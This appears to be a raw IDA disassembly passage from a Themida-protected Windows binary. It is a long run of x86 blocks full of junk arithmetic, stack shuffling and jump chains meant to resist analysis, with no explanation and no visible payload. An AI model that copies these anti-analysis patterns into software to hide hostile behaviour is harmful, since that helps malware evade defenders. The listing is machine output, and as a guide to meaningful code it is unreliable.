; ---------------------------------------------------------------------------
loc_59BB08: ; CODE XREF: Themida_:0059CB56j
mov dh, 93h
add bh, 11h
add bh, dh
sub bh, 11h
pop edx
and bh, 0BDh
push edx
mov dh, 0A1h
not dh
jmp loc_5A2129
; ---------------------------------------------------------------------------
loc_59BB20: ; CODE XREF: Themida_:0059DCE9j
add ebp, ebx
pop ebx
push ebx
mov ebx, 34C74C6Ch
jmp loc_5A4480
; ---------------------------------------------------------------------------
loc_59BB2E: ; CODE XREF: Themida_:005983B8j
not edi
xchg edi, ebx
jmp loc_59C481
; ---------------------------------------------------------------------------
loc_59BB37: ; CODE XREF: Themida_:0059F75Aj
sub edi, 1
jmp loc_59C498
; ---------------------------------------------------------------------------
loc_59BB42: ; CODE XREF: Themida_:005A2830j
add edx, 4
jmp loc_59387A
; ---------------------------------------------------------------------------
loc_59BB4A: ; CODE XREF: Themida_:00596570j
sub ecx, eax
mov eax, [esp]
push esi
jmp loc_59CAFF
; ---------------------------------------------------------------------------
loc_59BB55: ; CODE XREF: Themida_:00591963j
add esp, 4
jmp loc_5A35E4
; ---------------------------------------------------------------------------
loc_59BB5D: ; CODE XREF: Themida_:00598426j
pop ebx
add esi, 75382404h
not esi
add esi, 4CA5EBB7h
xor ecx, esi
pop esi
add esi, 0B36206Dh
sub esi, 4DC60872h
add esi, 19542D26h
add esi, ecx
sub esi, 19542D26h
add esi, 4DC60872h
push ebx
jmp loc_59BDE8
; ---------------------------------------------------------------------------
loc_59BB95: ; CODE XREF: Themida_:0059F77Fj
add eax, esi
pop esi
push edi
mov edi, 4
sub eax, edi
pop edi
xchg eax, [esp]
pop esp
mov [esp], eax
jmp loc_5902C1
; ---------------------------------------------------------------------------
loc_59BBAD: ; CODE XREF: Themida_:0059EF7Dj
pop ebx
jmp loc_59AD01
; ---------------------------------------------------------------------------
push 471Dh
push 0CA0h
mov [esp], esp
jmp loc_596F04
; ---------------------------------------------------------------------------
loc_59BBC5: ; CODE XREF: Themida_:0059A940j
mov fs:[edx], al
jmp loc_5902C1
; ---------------------------------------------------------------------------
loc_59BBCD: ; CODE XREF: Themida_:0059F826j
sub edi, 3CAC4FFBh
mov ecx, [esp]
sub esp, 4
mov [esp], ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
jmp loc_59B917
; ---------------------------------------------------------------------------
loc_59BBF0: ; CODE XREF: Themida_:005A116Dj
sub edx, 0AF8DB7BEh
add eax, edx
pop edx
jmp $+5
xchg eax, [esp]
mov esp, [esp]
and [esp], al
pushf
jmp loc_5902C1
; ---------------------------------------------------------------------------
loc_59BC0D: ; CODE XREF: Themida_:0059F1A9j
shl esi, 2
dec esi
or esi, 13EF7ABDh
add esi, 2F4FF13Ch
xor edx, esi
jmp loc_59D132
; ---------------------------------------------------------------------------
loc_59BC24: ; CODE XREF: Themida_:00596722j
or edx, 0D2C6BDDh
push esi
jmp loc_5974B5
; ---------------------------------------------------------------------------
loc_59BC30: ; CODE XREF: Themida_:00595E45j
pop ebp
mov eax, [esp]
add esp, 4
push edx
push 0B9A5E8Fh
jmp loc_59CEEE
; ---------------------------------------------------------------------------
loc_59BC42: ; CODE XREF: Themida_:00596E02j
push ebx
mov ebx, 28EB554Dh
jmp loc_598065
; ---------------------------------------------------------------------------
loc_59BC4D: ; CODE XREF: Themida_:0059211Dj
add edi, 4
jmp loc_5A3985
; ---------------------------------------------------------------------------
loc_59BC58: ; CODE XREF: Themida_:0059EC81j
mov [esp], edx
push esi
push 80h
pop esi
push esi
sub dword ptr [esp], 23C25D4Bh
pop edx
add edx, 23C25D4Bh
mov esi, [esp]
sub esp, 4
mov [esp], eax
push esi
mov esi, esp
add esi, 4
jmp loc_590ABC
; ---------------------------------------------------------------------------
loc_59BC8B: ; CODE XREF: Themida_:00592F25j
mov eax, 31D305Ah
or eax, 52F330EFh
and eax, 58FE6EC8h
sub eax, 2BCA0584h
add ecx, eax
pop eax
mov ebp, ecx
pop ecx
sub dword ptr [esp+8], 0F6F3C3Bh
jmp loc_594071
; ---------------------------------------------------------------------------
loc_59BCB2: ; CODE XREF: Themida_:0059BCEAj
dec esi
add esi, 0B1239437h
mov ebp, esi
pop esi
push ecx
jmp loc_593B4F
; ---------------------------------------------------------------------------
loc_59BCC2: ; CODE XREF: Themida_:00592472j
xor ebp, edx
pop edx
sub esi, 671D3376h
jmp loc_5A38D5
; ---------------------------------------------------------------------------
loc_59BCD0: ; CODE XREF: Themida_:005A1D9Cj
pop eax
mov [ebx], al
pop ebx
jmp loc_5902C1
; ---------------------------------------------------------------------------
loc_59BCD9: ; CODE XREF: Themida_:00598442j
mov esi, 29FF0EA0h
add esi, 568C4B98h
add esi, 31DD1C96h
jmp loc_59BCB2
; ---------------------------------------------------------------------------
loc_59BCEF: ; CODE XREF: Themida_:0059D01Bj
xor edi, [esp]
mov esp, [esp]
mov [esp], ax
jmp loc_5902C1
; ---------------------------------------------------------------------------
loc_59BCFE: ; CODE XREF: Themida_:00594C45j
mov edi, 4
add ebx, edi
jmp loc_5A10A7
; ---------------------------------------------------------------------------
loc_59BD0A: ; CODE XREF: Themida_:005994F6j
mov edi, 4
jmp loc_5A2417
; ---------------------------------------------------------------------------
loc_59BD14: ; CODE XREF: Themida_:00598ED0j
mov [esp], eax
mov eax, esp
add eax, 4
sub eax, 4
jmp loc_5A03DA
; ---------------------------------------------------------------------------
loc_59BD26: ; CODE XREF: Themida_:005A0C70j
push dword ptr [esp]
mov ebx, [esp]
jmp loc_59CB0C
; ---------------------------------------------------------------------------
lodsd
sub eax, 5A95BAAh
push edx
push 5618h
mov [esp], ebp
push 555D6323h
pop ebp
and ebp, 0B001D27h
add ebp, 78C93FE4h
xor ebp, 27E435E3h
add ebp, 0FD57F6E3h
mov edx, ebp
jmp loc_5A54E3
; ---------------------------------------------------------------------------
loc_59BD65: ; CODE XREF: Themida_:00595353j
mov [esp], eax
push 78FC0D04h
pop eax
sub esp, 4
mov [esp], edx
mov edx, 4B21357Eh
sub edx, 54ED03FAh
push ebx
mov ebx, 35034008h
xor ebx, 35034009h
add edx, ebx
pop ebx
inc edx
jmp loc_59F6F0
; ---------------------------------------------------------------------------
loc_59BD97: ; CODE XREF: Themida_:00596812j
add esi, 4
jmp loc_598F97
; ---------------------------------------------------------------------------
loc_59BDA2: ; CODE XREF: Themida_:005928A0j
mov ebx, [esp]
add esp, 4
jmp loc_5A35CD
; ---------------------------------------------------------------------------
loc_59BDB0: ; CODE XREF: Themida_:0059A711j
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], ecx
jmp loc_59F8B8
; ---------------------------------------------------------------------------
loc_59BDC2: ; CODE XREF: Themida_:0059B216j
mov esi, [esp]
add esp, 4
pop dword ptr [esp]
mov esp, [esp]
shr word ptr [esp], cl
pushf
jmp loc_5902C1
; ---------------------------------------------------------------------------
loc_59BDD8: ; CODE XREF: Themida_:00592C43j
add esi, edx
add esi, 6B4F58C2h
mov edx, [esp]
jmp loc_59C5C0
; ---------------------------------------------------------------------------
loc_59BDE8: ; CODE XREF: Themida_:0059BB90j
mov ebx, 32480AEAh
xchg edi, ebx
inc edi
xchg edi, ebx
neg ebx
add ebx, 5CF329CDh
and ebx, 4A111C6h
add ebx, 979713Ah
xor ebx, 12CA191h
jmp loc_59F6DE
; ---------------------------------------------------------------------------
loc_59BE11: ; CODE XREF: Themida_:005A3275j
xor ebp, 6BC060F9h
inc ebp
xor ebp, 680558E7h
jmp loc_5A35FA
; ---------------------------------------------------------------------------
loc_59BE23: ; CODE XREF: Themida_:00595472j
xor ecx, [esp]
jmp loc_594512
; ---------------------------------------------------------------------------
loc_59BE2B: ; CODE XREF: Themida_:00591431j
push edx
mov edx, 30BB3977h
and edi, edx
pop edx
push edi
dec dword ptr [esp]
mov edi, [esp]
add esp, 4
dec edi
add edi, 0EF77EEB0h
jmp loc_59234B
; ---------------------------------------------------------------------------
loc_59BE4D: ; CODE XREF: Themida_:005A4DA8j
pop ecx
sub esp, 4
mov [esp], edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp]
pop esp
push 7CC1h
mov [esp], eax
push 3E4Bh
mov [esp], edi
mov edi, 5455269Dh
push esi
mov esi, 3F416FBh
not esi
shr esi, 8
sub esi, 0F22B9D72h
and edi, esi
pop esi
push ebp
jmp loc_594F11
; ---------------------------------------------------------------------------
loc_59BE95: ; CODE XREF: Themida_:005A2CECj
mov esp, [esp]
jmp loc_5A262B
; ---------------------------------------------------------------------------
loc_59BE9D: ; CODE XREF: Themida_:00592935j
sub edi, edx
push eax
mov eax, 5C4D74C4h
not eax
jmp loc_59949D
; ---------------------------------------------------------------------------
mov cx, [esp]
sub esp, 4
mov [esp], edi
jmp loc_5A0874
; ---------------------------------------------------------------------------
loc_59BEBE: ; CODE XREF: Themida_:0059DCA7j
xor eax, esi
pop esi
sub eax, 43444E53h
xor eax, 487D0E5Ch
inc eax
add eax, 6F2E1047h
jmp loc_59D8B9
; ---------------------------------------------------------------------------
loc_59BED6: ; CODE XREF: Themida_:00594D9Dj
add ecx, 6E41370Fh
mov edi, [esp]
push 78FFh
mov [esp], edi
jmp loc_59264A
; ---------------------------------------------------------------------------
loc_59BEEC: ; CODE XREF: Themida_:005A2C9Aj
add ecx, eax
pop eax
add ecx, 4
jmp loc_592F55
; ---------------------------------------------------------------------------
loc_59BEF7: ; CODE XREF: Themida_:00593083j
shr edi, 6
jmp loc_5A56A5
; ---------------------------------------------------------------------------
loc_59BEFF: ; CODE XREF: Themida_:0059D69Dj
sub eax, 79EA5875h
jmp loc_593B8E
; ---------------------------------------------------------------------------
loc_59BF09: ; CODE XREF: Themida_:005999CAj
push dword ptr [esp+4]
mov ebp, [esp]
push edx
mov edx, esp
jmp loc_599270
; ---------------------------------------------------------------------------
loc_59BF18: ; CODE XREF: Themida_:00590C25j
add esp, 2
xor al, bh
push dword ptr [esp]
push dword ptr [esp]
pop ebx
add esp, 4
add esp, 4
sub esp, 4
mov [esp], ebx
mov bl, 0D1h
sub esp, 4
mov [esp], edx
mov dh, cl
push edx
mov dh, bl
jmp loc_5A07AD
; ---------------------------------------------------------------------------
loc_59BF4E: ; CODE XREF: Themida_:00595F0Aj
push ebp
jmp loc_5A4834
; ---------------------------------------------------------------------------
loc_59BF54: ; CODE XREF: Themida_:0059A295j
not ebx
jmp loc_598E36
; ---------------------------------------------------------------------------
loc_59BF5B: ; CODE XREF: Themida_:005A0B60j
push edx
push ebp
jmp loc_59FB4F
; ---------------------------------------------------------------------------
loc_59BF62: ; CODE XREF: Themida_:005903EEj
pop ebx
push edx
push ecx
mov cl, 1Bh
dec cl
shl cl, 6
push bx
jmp loc_590B1D
; ---------------------------------------------------------------------------
loc_59BF73: ; CODE XREF: Themida_:005918D8j
add eax, ebp
jmp loc_59AECD
; ---------------------------------------------------------------------------
loc_59BF7A: ; CODE XREF: Themida_:0059736Bj
push edx
mov edx, 9491E77h
jmp loc_5A05CE
; ---------------------------------------------------------------------------
loc_59BF85: ; CODE XREF: Themida_:0059B228j
mov ebp, 127377D0h
add ebx, ebp
pop ebp
sub ebx, 6DB2187Dh
add ebx, ecx
jmp loc_59AC8A
; ---------------------------------------------------------------------------
loc_59BF9A: ; CODE XREF: Themida_:0059A8CCj
neg esi
add esi, 0FFFFFFFFh
push ebp
mov ebp, 25BC6E11h
or esi, ebp
pop ebp
push 26FCh
jmp loc_592A99
; ---------------------------------------------------------------------------
loc_59BFB2: ; CODE XREF: Themida_:00597559j
mov ecx, [esp]
add esp, 4
movzx eax, al
mov dx, [esp]
push 1368h
mov [esp], ecx
mov ecx, esp
push ebx
push edx
push 0ED2693h
pop edx
dec edx
push eax
jmp loc_59E205
; ---------------------------------------------------------------------------
loc_59BFDB: ; CODE XREF: Themida_:00598C6Aj
push edi
jmp loc_5904F0
; ---------------------------------------------------------------------------
loc_59BFE1: ; CODE XREF: Themida_:0059D51Aj
inc ebp
shr ebp, 6
xor ebp, 358D7B59h
add ebp, 77CF1AC2h
jmp loc_599476
; ---------------------------------------------------------------------------
loc_59BFF6: ; CODE XREF: Themida_:005A0DF6j
sub edx, esi
mov esi, [esp]
add esp, 4
xchg edx, [esp]
pop esp
mov [esp], ebp
mov ebp, 66764949h
and ebp, 5B48307Bh
neg ebp
jmp loc_5942E6
; ---------------------------------------------------------------------------
loc_59C01A: ; CODE XREF: Themida_:005A2857j
sub eax, ebp
sub eax, 2F181CD2h
pop ebp
add eax, ebx
jmp loc_59251B
; ---------------------------------------------------------------------------
loc_59C029: ; CODE XREF: Themida_:005906CFj
add esp, 4
not ebp
sub esp, 4
mov [esp], esi
mov esi, 41702A27h
and ebp, esi
mov esi, [esp]
add esp, 4
add ebp, 0FFF00004h
jmp loc_595657
; ---------------------------------------------------------------------------
loc_59C04F: ; CODE XREF: Themida_:005A19D2j
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
pop ebp
push ecx
jmp loc_5A546F
; ---------------------------------------------------------------------------
loc_59C060: ; CODE XREF: Themida_:0059392Ej
add dword ptr [esp], 4
pop edi
add edi, 4
add edi, 2
xor edi, [esp]
jmp loc_5A00B8
; ---------------------------------------------------------------------------
loc_59C079: ; CODE XREF: Themida_:0059B66Cj
movzx cx, ah
push small 252Fh
mov [esp], cx
jmp loc_593A1B
; ---------------------------------------------------------------------------
loc_59C08A: ; CODE XREF: Themida_:00593835j
mov edx, 23381FE5h
sub edx, 0E802B0B9h
jmp loc_59AC59
; ---------------------------------------------------------------------------
loc_59C09A: ; CODE XREF: Themida_:0059E9CDj
mov edx, 43167B5Eh
shr edx, 1
push ecx
mov ecx, 0DE05303h
sub ecx, 9AB512ACh
xor edx, ecx
mov ecx, [esp]
jmp loc_59119C
; ---------------------------------------------------------------------------
loc_59C0B7: ; CODE XREF: Themida_:00595372j
mov dl, bh
jmp loc_592028
; ---------------------------------------------------------------------------
loc_59C0BE: ; CODE XREF: Themida_:0059D1BEj
dec dword ptr [esp]
pop ebp
push ecx
mov ecx, 0F48C1C16h
xor ebp, ecx
pop ecx
add ecx, ebp
jmp loc_5A12EA
; ---------------------------------------------------------------------------
loc_59C0D2: ; CODE XREF: Themida_:00591E3Cj
push dword ptr [esp]
pop esi
push ebx
push esp
mov ebx, [esp]
add esp, 4
add ebx, 4
push edx
mov edx, 4
add ebx, edx
jmp loc_5A51C4
; ---------------------------------------------------------------------------
loc_59C0F4: ; CODE XREF: Themida_:0059D70Cj
add esp, 4
xor eax, esi
jmp loc_5981E9
; ---------------------------------------------------------------------------
loc_59C101: ; CODE XREF: Themida_:005A2295j
add eax, 4
xchg eax, [esp]
jmp loc_596745
; ---------------------------------------------------------------------------
loc_59C10C: ; CODE XREF: Themida_:00593575j
push eax
mov eax, esp
jmp loc_59413A
; ---------------------------------------------------------------------------
loc_59C114: ; CODE XREF: Themida_:00592489j
xor eax, [esp]
xor [esp], eax
jmp loc_59D929
; ---------------------------------------------------------------------------
loc_59C11F: ; CODE XREF: Themida_:005980B2j
sub esp, 4
mov [esp], ecx
mov ch, 0D8h
push ax
mov al, 0FFh
add ch, 0E5h
sub ch, al
sub ch, 0E5h
pop ax
add ch, 2Bh
add al, 0B0h
sub al, ch
push 101Eh
mov [esp], edx
mov dh, 0B0h
add al, 99h
sub al, dh
sub al, 99h
mov edx, [esp]
push edi
mov edi, esp
jmp loc_597D20
; ---------------------------------------------------------------------------
loc_59C15A: ; CODE XREF: Themida_:0059D8F1j
push 1FFBh
mov [esp], edi
jmp loc_591750
; ---------------------------------------------------------------------------
loc_59C167: ; CODE XREF: Themida_:0059FB34j
xor edx, 599724F6h
pop ebp
sub edx, 1F227267h
jmp loc_59ADC0
; ---------------------------------------------------------------------------
loc_59C179: ; CODE XREF: Themida_:005A15DEj
pop esp
xchg edi, [esp]
jmp loc_590CE9
; ---------------------------------------------------------------------------
loc_59C182: ; CODE XREF: Themida_:0059DEE3j
mov [esp], ebp
push dword ptr [esp]
pop ecx
add esp, 4
push dword ptr [esp]
pop ebp
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
pop esp
jmp loc_5952AB
; ---------------------------------------------------------------------------
loc_59C1A8: ; CODE XREF: Themida_:00593725j
pop ecx
push eax
mov eax, esp
add eax, 4
add eax, 4
jmp loc_59FA3A
; ---------------------------------------------------------------------------
loc_59C1B9: ; CODE XREF: Themida_:00596A26j
pop edi
pop ebp
add ebp, 4
push ebx
mov ebx, 4
add ebp, ebx
jmp loc_5A1AE2
; ---------------------------------------------------------------------------
loc_59C1CE: ; CODE XREF: Themida_:005A3C9Fj
mov edx, ecx
pop ecx
pop edi
jmp loc_5972CA
; ---------------------------------------------------------------------------
mov cx, [esp]
sub esp, 4
mov [esp], edx
mov edx, esp
add edx, 4
sub edx, 4
jmp loc_5A034F
; ---------------------------------------------------------------------------
loc_59C1F1: ; CODE XREF: Themida_:00597FADj
not esi
sub esi, 9C7C77D0h
sub ecx, esi
pop esi
add ecx, ebp
jmp loc_5A056D
; ---------------------------------------------------------------------------
loc_59C203: ; CODE XREF: Themida_:005A28D7j
sub ecx, ebp
jmp loc_599ACE
; ---------------------------------------------------------------------------
loc_59C20A: ; CODE XREF: Themida_:0059F6EBj
sub ebp, 75A05348h
pop ecx
sub ebp, 2
xchg ebp, [esp]
mov esp, [esp]
jmp loc_59F2D8
; ---------------------------------------------------------------------------
loc_59C222: ; CODE XREF: Themida_:005964FEj
add ecx, 0FFFFFFFFh
shr ecx, 2
push ebp
mov ebp, 11535484h
add ecx, 263627E0h
sub ecx, 18C32699h
sub ecx, 778E54A6h
sub ecx, ebp
add ecx, 778E54A6h
add ecx, 18C32699h
push ebp
mov ebp, 286B37A5h
sub ebp, 75233B54h
shr ebp, 8
add ebp, 324C3C94h
or ebp, 29582CBFh
add ebp, 0EA367B21h
jmp loc_59C70B
; ---------------------------------------------------------------------------
loc_59C274: ; CODE XREF: Themida_:00599669j
add edi, 4
jmp loc_5945EC
; ---------------------------------------------------------------------------
loc_59C27C: ; CODE XREF: Themida_:00590BDBj
pop edi
add ebp, ebx
pop ebx
add ebp, 4
xchg ebp, [esp]
mov esp, [esp]
or edx, eax
jmp loc_59ED96
; ---------------------------------------------------------------------------
loc_59C290: ; CODE XREF: Themida_:00594D92j
mov edx, [esp]
add esp, 4
push ebp
push dword ptr [esp+4]
pop ebp
pop dword ptr [esp]
mov esp, [esp]
or ebx, ebx
jnz loc_59B87A
push 2A93h
mov [esp], edx
push ecx
push ebx
mov ebx, 6506466Ah
push ebx
sub dword ptr [esp], 6D85233Eh
pop ecx
add ecx, 6D85233Eh
mov ebx, [esp]
add esp, 4
jmp loc_5A167E
; ---------------------------------------------------------------------------
loc_59C2D6: ; CODE XREF: Themida_:00596E41j
pop dword ptr [esp]
pop esp
mov [esp], edx
push eax
push 57E45D34h
pop eax
push ecx
jmp loc_59C8B0
; ---------------------------------------------------------------------------
loc_59C2EA: ; CODE XREF: Themida_:0059AD77j
sub esp, 4
mov [esp], esp
jmp loc_593EAA
; ---------------------------------------------------------------------------
loc_59C2F5: ; CODE XREF: Themida_:00598C00j
add dword ptr [esp], 4
pop eax
jmp loc_5A2A36
; ---------------------------------------------------------------------------
loc_59C2FF: ; CODE XREF: Themida_:00597F10j
dec edi
add edi, 1D2FAEB6h
sub ebx, edi
pop edi
and eax, ebx
mov ebx, [esp]
add esp, 4
shr eax, 12h
xor eax, ecx
sub esp, 4
mov [esp], ebx
mov ebx, esp
jmp loc_5999B3
; ---------------------------------------------------------------------------
loc_59C329: ; CODE XREF: Themida_:00592282j
add esi, 0D0AE5189h
sub eax, esi
mov esi, [esp]
jmp loc_5A365A
; ---------------------------------------------------------------------------
loc_59C339: ; CODE XREF: Themida_:005A40EFj
xchg ebx, [esp]
pop esp
dec edx
push 40EAh
mov [esp], eax
mov eax, 34EF380Bh
add edx, 218D2EF9h
add edx, eax
jmp loc_59967A
; ---------------------------------------------------------------------------
loc_59C358: ; CODE XREF: Themida_:0059833Bj
pop esp
push edx
push edi
push eax
mov eax, 6D6B012Ch
xor eax, 576C44F9h
shr eax, 8
neg eax
xor eax, 0DCF0D3CCh
mov edi, eax
pop eax
jmp loc_5A22E2
; ---------------------------------------------------------------------------
mov cx, [esp]
push edi
mov edi, esp
add edi, 4
jmp loc_59DFA1
; ---------------------------------------------------------------------------
loc_59C38A: ; CODE XREF: Themida_:00595D53j
push edi
mov edi, 6DA25331h
jmp loc_595E32
; ---------------------------------------------------------------------------
loc_59C395: ; CODE XREF: Themida_:0059965Dj
mov eax, 0E1ED33C8h
sub ebx, eax
pop eax
sub eax, ebx
pop ebx
push esi
jmp loc_5A56FE
; ---------------------------------------------------------------------------
loc_59C3A6: ; CODE XREF: Themida_:005A1F91j
not cl
xchg cl, ah
add ah, 0FFh
jmp loc_591115
; ---------------------------------------------------------------------------
loc_59C3B2: ; CODE XREF: Themida_:0059D5BAj
pop cx
xor dh, al
pop eax
push cx
mov cl, 3Fh
add al, cl
mov cx, [esp]
add esp, 2
sub al, dh
sub al, 3Fh
mov edx, [esp]
add esp, 4
jmp loc_598EAF
; ---------------------------------------------------------------------------
loc_59C3D9: ; CODE XREF: Themida_:0059DB60j
xor esi, 1092789Ah
xor ebx, esi
push dword ptr [esp]
pop esi
add esp, 4
loc_59C3EB: ; CODE XREF: Themida_:0059E757j
push 5DC8h
jmp loc_59DC5B
; ---------------------------------------------------------------------------
loc_59C3F5: ; CODE XREF: Themida_:00595B95j
xor ecx, 0B2620CAh
shr ecx, 5
sub ecx, 3C8020Eh
push ecx
mov ecx, 4D07039Ah
sub ecx, 662D2FE1h
or ecx, 480B30FDh
jmp loc_59D4A9
; ---------------------------------------------------------------------------
mov ax, [esp]
push esi
push esp
mov esi, [esp]
add esp, 4
push eax
jmp loc_59316A
; ---------------------------------------------------------------------------
loc_59C42D: ; CODE XREF: Themida_:0059DE24j
or ebp, 3D9B0FE7h
jmp loc_598C5D
; ---------------------------------------------------------------------------
loc_59C438: ; CODE XREF: Themida_:0059CD7Dj
xor eax, [esp]
xor [esp], eax
xor eax, [esp]
mov esp, [esp]
push edi
mov edi, esp
add edi, 4
jmp loc_598C6F
; ---------------------------------------------------------------------------
loc_59C452: ; CODE XREF: Themida_:0059FB5Aj
neg ebp
or ebp, 480A2E5Dh
jmp loc_5938C0
; ---------------------------------------------------------------------------
loc_59C45F: ; CODE XREF: Themida_:0059CAFAj
sub ebx, eax
push ecx
mov ecx, 24305ADEh
jmp loc_593F0F
; ---------------------------------------------------------------------------
loc_59C46C: ; CODE XREF: Themida_:0059E54Ej
push dword ptr [esp+4]
jmp loc_599090
; ---------------------------------------------------------------------------
loc_59C475: ; CODE XREF: Themida_:0059ECDAj
pop eax
sub edi, 0E2F1E29h
jmp loc_59DFC9
; ---------------------------------------------------------------------------
loc_59C481: ; CODE XREF: Themida_:0059BB32j
inc ebx
xor ebx, 0BFEAE30Ah
jmp loc_5972A4
; ---------------------------------------------------------------------------
loc_59C48D: ; CODE XREF: Themida_:005A4B27j
sub ch, 56h
xor ch, 0ADh
jmp loc_59AAB5
; ---------------------------------------------------------------------------
loc_59C498: ; CODE XREF: Themida_:0059BB3Dj
shl edi, 3
push ebp
push ebx
push ecx
mov ecx, 0D1127AFAh
mov ebx, ecx
jmp loc_5A4B08
; ---------------------------------------------------------------------------
loc_59C4AA: ; CODE XREF: Themida_:005A196Dj
and ecx, eax
push dword ptr [esp]
pop eax
sub esp, 4
mov [esp], eax
jmp loc_59EA4C
; ---------------------------------------------------------------------------
loc_59C4BE: ; CODE XREF: Themida_:005A4054j
push ecx
jmp loc_5939EB
; ---------------------------------------------------------------------------
loc_59C4C4: ; CODE XREF: Themida_:0059B204j
add esp, 4
add edx, 2
xor edx, [esp]
jmp loc_5A22D0
; ---------------------------------------------------------------------------
push dword ptr [esp]
push dword ptr [esp]
push dword ptr [esp]
mov ecx, [esp]
push ebx
mov ebx, esp
jmp loc_590687
; ---------------------------------------------------------------------------
loc_59C4E6: ; CODE XREF: Themida_:005A3E31j
sub edx, 4
push edx
push dword ptr [esp+4]
jmp loc_5945F4
; ---------------------------------------------------------------------------
loc_59C4F3: ; CODE XREF: Themida_:00590FC9j
push 2B17h
mov [esp], esi
push edx
push 394702EEh
pop edx
or edx, 45880FD3h
jmp loc_591909
; ---------------------------------------------------------------------------
loc_59C50D: ; CODE XREF: Themida_:0059A210j
sub esp, 4
mov [esp], ecx
mov ecx, 4
add ebx, ecx
pop ecx
jmp loc_5A17D6
; ---------------------------------------------------------------------------
loc_59C520: ; CODE XREF: Themida_:005913BFj
sub ebp, edx
mov edx, [esp]
add esp, 4
xchg ebp, [esp]
pop esp
mov [esp], ebp
push esp
pop ebp
push ecx
push ebx
push 4E8B1320h
jmp loc_5A1052
; ---------------------------------------------------------------------------
loc_59C53D: ; CODE XREF: Themida_:005A1E01j
push esi
jmp loc_59AA48
; ---------------------------------------------------------------------------
loc_59C543: ; CODE XREF: Themida_:00599549j
add esp, 4
jmp loc_5A39B6
; ---------------------------------------------------------------------------
loc_59C54E: ; CODE XREF: Themida_:00591127j
xchg ebx, [esp]
mov esp, [esp]
mov eax, [esp]
push ebp
push esi
jmp loc_59CFAD
; ---------------------------------------------------------------------------
loc_59C55E: ; CODE XREF: Themida_:005A4BD2j
push esp
push dword ptr [esp]
mov edi, [esp]
add esp, 4
add esp, 4
push esi
jmp loc_598109
; ---------------------------------------------------------------------------
loc_59C574: ; CODE XREF: Themida_:00592524j
mov ebp, 5DC71B19h
push ebx
mov ebx, esp
add ebx, 4
sub ebx, 4
xchg ebx, [esp]
pop esp
mov [esp], esi
push ebx
mov ebx, 52C82E52h
mov esi, ebx
mov ebx, [esp]
add esp, 4
push eax
mov eax, 254D3DC9h
jmp loc_5959ED
; ---------------------------------------------------------------------------
loc_59C5AB: ; CODE XREF: Themida_:00592CFCj
add ecx, 4
xchg ecx, [esp]
jmp loc_5A3815
; ---------------------------------------------------------------------------
loc_59C5B9: ; CODE XREF: Themida_:00595E8Fj
xor edx, edx
jmp loc_59B3E7
; ---------------------------------------------------------------------------
loc_59C5C0: ; CODE XREF: Themida_:0059BDE3j
add esp, 4
jmp loc_5A0CC8
; ---------------------------------------------------------------------------
loc_59C5C8: ; CODE XREF: Themida_:00594E56j
push ecx
mov ch, 81h
sub al, 3Ch
sub al, ch
push 1F7h
mov [esp], edx
mov dh, 0C9h
xor dh, 0F5h
add al, dh
pop edx
mov ecx, [esp]
add esp, 4
jmp loc_59DE3C
; ---------------------------------------------------------------------------
loc_59C5ED: ; CODE XREF: Themida_:005951D4j
xor esi, 6AB572FEh
add esi, 43F0607Bh
push eax
mov eax, 5481532Ah
neg eax
jmp loc_5A402A
; ---------------------------------------------------------------------------
loc_59C606: ; CODE XREF: Themida_:0059B353j
add ebp, edi
sub ebp, 30E446Bh
jmp loc_59D43B
; ---------------------------------------------------------------------------
loc_59C613: ; CODE XREF: Themida_:005A4A13j
push ebp
push ebx
jmp loc_59D153
; ---------------------------------------------------------------------------
loc_59C61A: ; CODE XREF: Themida_:00597B46j
mov dh, 6Dh
add dh, 0C7h
shl dh, 4
add dh, 2Eh
xor cl, dh
pop edx
sub al, 0A3h
add al, cl
add al, 0A3h
pop ecx
mov edx, [esp]
add esp, 4
push dx
mov dl, 8Bh
xor dl, 0D4h
jmp loc_59C715
; ---------------------------------------------------------------------------
loc_59C641: ; CODE XREF: Themida_:0059EC9Dj
sub eax, 47096E9Bh
push edi
mov edi, 0DB753FBh
shr edi, 2
sub esp, 4
mov [esp], ebx
mov ebx, 95274EBh
inc ebx
jmp loc_59DFF2
; ---------------------------------------------------------------------------
loc_59C663: ; CODE XREF: Themida_:00598B39j
mov edi, 4
add ebx, edi
jmp loc_596806
; ---------------------------------------------------------------------------
loc_59C66F: ; CODE XREF: Themida_:00595A95j
pop esi
push ebp
jmp loc_597C41
; ---------------------------------------------------------------------------
loc_59C676: ; CODE XREF: Themida_:0059C965j
add ecx, 35CF63B7h
or ecx, 0B833D6Dh
sub ecx, 1DF2594Fh
or ecx, 54F745B4h
or ecx, 2F616D2Bh
add ecx, 0F96CED61h
push ebp
jmp loc_59AB95
; ---------------------------------------------------------------------------
loc_59C6A0: ; CODE XREF: Themida_:005952C6j
mov eax, esp
add eax, 4
sub eax, 4
xchg eax, [esp]
pop esp
mov [esp], ecx
mov ecx, 7C2857FBh
dec ecx
push ebx
jmp loc_59ACF7
; ---------------------------------------------------------------------------
mov ax, [esp]
sub esp, 4
mov [esp], ebx
mov ebx, esp
push 2C43h
mov [esp], ecx
push edx
jmp loc_59E2F8
; ---------------------------------------------------------------------------
loc_59C6D7: ; CODE XREF: Themida_:005951F9j
push ecx
jmp loc_5975A4
; ---------------------------------------------------------------------------
loc_59C6DD: ; CODE XREF: Themida_:0059DA3Ej
add edx, 4
jmp loc_59153E
; ---------------------------------------------------------------------------
loc_59C6E8: ; CODE XREF: Themida_:005956DCj
and edi, ecx
mov ecx, [esp]
push 7CE6h
mov [esp], ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
pop esp
push edi
push esi
jmp loc_599BA2
; ---------------------------------------------------------------------------
loc_59C70B: ; CODE XREF: Themida_:0059C26Fj
sub ecx, ebp
mov ebp, [esp]
jmp loc_59511E
; ---------------------------------------------------------------------------
loc_59C715: ; CODE XREF: Themida_:0059C63Cj
not dl
dec dl
push ebx
mov bh, 53h
add dl, bh
pop ebx
push dx
jmp loc_5936DD
; ---------------------------------------------------------------------------
loc_59C726: ; CODE XREF: Themida_:005A2A48j
push 36CDh
mov [esp], esp
jmp loc_592437
; ---------------------------------------------------------------------------
loc_59C733: ; CODE XREF: Themida_:0059CF4Aj
inc ecx
jmp loc_5A3ABA
; ---------------------------------------------------------------------------
